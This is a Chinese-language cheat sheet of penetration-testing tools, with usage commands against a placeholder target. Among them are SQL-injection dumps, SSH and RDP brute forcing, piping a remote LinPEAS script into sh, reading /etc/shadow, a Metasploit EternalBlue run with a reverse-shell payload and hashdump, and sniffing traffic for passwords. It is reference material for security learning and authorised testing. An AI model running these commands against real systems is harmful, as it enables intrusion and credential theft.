信息收集
Nmap - 网络扫描
端口扫描和服务识别的首选工具。
1 2 3 4 5 6 7 8 9 10 11
| nmap -sV -sC -O target.com
nmap -p- -T4 target.com
nmap -sU --top-ports 100 target.com
nmap --script vuln target.com
|
Subfinder - 子域名发现
1 2 3 4 5 6 7 8
| subfinder -d target.com -o subs.txt
subfinder -d target.com -recursive
subfinder -d target.com -silent | httpx -title -status-code -tech-detect
|
dirsearch - 目录扫描
1 2 3 4 5 6 7 8
| dirsearch -u https://target.com -e php,asp,jsp,html
dirsearch -u https://target.com -w /path/to/wordlist.txt
dirsearch -u https://target.com -r -R 3
|
httpx - Web 探测
1 2 3 4 5 6 7 8
| cat urls.txt | httpx -status-code -title -tech-detect
cat urls.txt | httpx -screenshot
cat urls.txt | httpx -json -o result.json
|
漏洞扫描
Nuclei - 模板化漏洞扫描
1 2 3 4 5 6 7 8 9 10 11
| nuclei -u https://target.com
nuclei -u https://target.com -t cves/
nuclei -u https://target.com -severity critical,high
cat urls.txt | nuclei -t /path/to/templates/
|
SQLMap - SQL 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/login" --data="user=admin&pass=123" --dbs
sqlmap -u "http://target.com/page" --cookie="id=1*" --dbs
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between
|
XSStrike - XSS 检测
1 2 3 4 5 6 7 8
| xsstrike -u "http://target.com/search?q=test"
xsstrike -u "http://target.com" --crawl
xsstrike -u "http://target.com/search?q=test" --fuzzer
|
Web 渗透
Burp Suite - 抓包与测试
渗透测试必备的综合平台,主要模块:
| 模块 |
用途 |
| Proxy |
拦截和修改 HTTP 请求 |
| Repeater |
手动重放和修改请求 |
| Intruder |
自动化暴力破解和模糊测试 |
| Scanner |
自动漏洞扫描(Pro) |
| Decoder |
编码/解码工具 |
| Comparer |
数据对比 |
ffuf - Web 模糊测试
1 2 3 4 5 6 7 8 9 10 11
| ffuf -u https://target.com/FUZZ -w wordlist.txt
ffuf -u "https://target.com/page?FUZZ=value" -w params.txt
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subs.txt -fc 404
ffuf -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -fc 401
|
Gobuster - 目录与子域名爆破
1 2 3 4 5 6 7 8
| gobuster dir -u https://target.com -w wordlist.txt -x php,html
gobuster dns -d target.com -w subdomains.txt
gobuster vhost -u https://target.com -w wordlist.txt
|
密码与认证
Hydra - 在线暴力破解
1 2 3 4 5 6 7 8 9 10 11
| hydra -l root -P passwords.txt ssh://target.com
hydra -l admin -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Login Failed"
hydra -L users.txt -P passwords.txt ftp://target.com
hydra -l administrator -P passwords.txt rdp://target.com
|
Hashcat - 离线密码破解
1 2 3 4 5 6 7 8 9 10 11
| hashcat -m 0 hash.txt wordlist.txt
hashcat -m 1000 hash.txt wordlist.txt
hashcat -m 0 hash.txt wordlist.txt -r rules/best64.rule
hashcat -m 0 hash.txt ?d?d?d?d?d?d?d?d
|
John the Ripper - 密码破解
1 2 3 4 5 6 7 8 9
| john hash.txt
john --wordlist=rockyou.txt hash.txt
unshadow /etc/passwd /etc/shadow > unshadowed.txt john unshadowed.txt
|
后渗透与提权
LinPEAS / WinPEAS - 提权信息收集
1 2 3 4 5
| curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
.\winPEASx64.exe
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| msfconsole
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS target.com set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST your_ip exploit
meterpreter > sysinfo meterpreter > hashdump meterpreter > upload /path/to/file meterpreter > shell
|
CobaltStrike - C2 框架
团队协作渗透的商业化 C2 平台,主要功能:
- Beacon 通信(HTTP/HTTPS/DNS/SMB)
- 横向移动(PsExec / WMI / WinRM)
- 凭据抓取(Mimikatz 集成)
- 权限维持(服务/计划任务/注册表)
逆向与 Pwn
GDB + pwndbg
1 2 3 4 5 6 7 8 9 10
| git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh
gdb ./binary pwndbg> checksec pwndbg> disassemble main pwndbg> cyclic 200 pwndbg> vmmap
|
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
p = remote('target.com', 9999)
payload = b'A' * 64 payload += p64(0xdeadbeef)
p.sendline(payload) p.interactive()
|
IDA Pro / Ghidra - 逆向分析
| 工具 |
特点 |
| IDA Pro |
行业标准,反编译质量高,收费 |
| Ghidra |
NSA 开源,免费,Java 编写 |
| Binary Ninja |
现代 UI,API 友好 |
| Radare2 |
命令行,开源免费 |
流量分析
Wireshark - 抓包分析
常用过滤表达式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # HTTP 请求 http.request.method == "POST"
# 指定 IP ip.addr == 192.168.1.100
# DNS 查询 dns.qry.name contains "target"
# TCP 三次握手 tcp.flags.syn == 1 && tcp.flags.ack == 0
# 包含关键字 frame contains "password"
|
tcpdump - 命令行抓包
1 2 3 4 5 6 7 8
| tcpdump -i eth0 port 80 -w capture.pcap
tcpdump -i eth0 host 192.168.1.100
tcpdump -i eth0 -A port 80 | grep -i "password"
|
工具速查表
| 场景 |
推荐工具 |
| 端口扫描 |
Nmap |
| 子域名收集 |
Subfinder, Amass |
| 目录扫描 |
dirsearch, ffuf, Gobuster |
| SQL 注入 |
SQLMap |
| XSS 检测 |
XSStrike, Dalfox |
| 抓包改包 |
Burp Suite |
| 漏洞扫描 |
Nuclei |
| 密码爆破 |
Hydra, Hashcat |
| 提权辅助 |
LinPEAS, WinPEAS |
| 渗透框架 |
Metasploit |
| 流量分析 |
Wireshark, tcpdump |
| 逆向分析 |
IDA Pro, Ghidra |
| Pwn 开发 |
pwntools, GDB |
声明: 以上工具仅用于合法的安全测试和学习研究,请在授权范围内使用。